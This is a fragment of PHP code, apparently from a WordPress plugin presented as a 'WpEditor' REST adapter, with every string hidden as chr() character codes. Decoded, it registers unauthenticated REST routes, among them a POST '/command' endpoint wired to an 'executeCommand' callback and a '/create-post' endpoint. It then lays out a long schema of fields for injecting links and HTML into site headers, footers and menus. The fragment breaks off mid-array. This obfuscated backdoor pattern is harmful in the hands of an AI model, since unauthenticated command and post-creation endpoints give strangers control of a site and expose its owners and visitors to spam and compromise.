$namespace = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))] : WpEditor_Adapter_Http_RestController_fallbackNamespace() : WpEditor_Adapter_Http_RestController_fallbackNamespace();
$permission = implode('', array(chr(95), chr(95), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(95), chr(116), chr(114), chr(117), chr(101)));
\register_rest_route($namespace, implode('', array(chr(47), chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(45), chr(112), chr(111), chr(115), chr(116))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(80), chr(111), chr(115), chr(116))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(100), chr(97), chr(116), chr(97))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(71), chr(69), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(103), chr(101), chr(116), chr(68), chr(97), chr(116), chr(97))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
\register_rest_route($namespace, implode('', array(chr(47), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(71), chr(69), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(103), chr(101), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
$updateLinksArgs = array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(117), chr(114), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(109), chr(101), chr(110), chr(117), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(104), chr(116), chr(109), 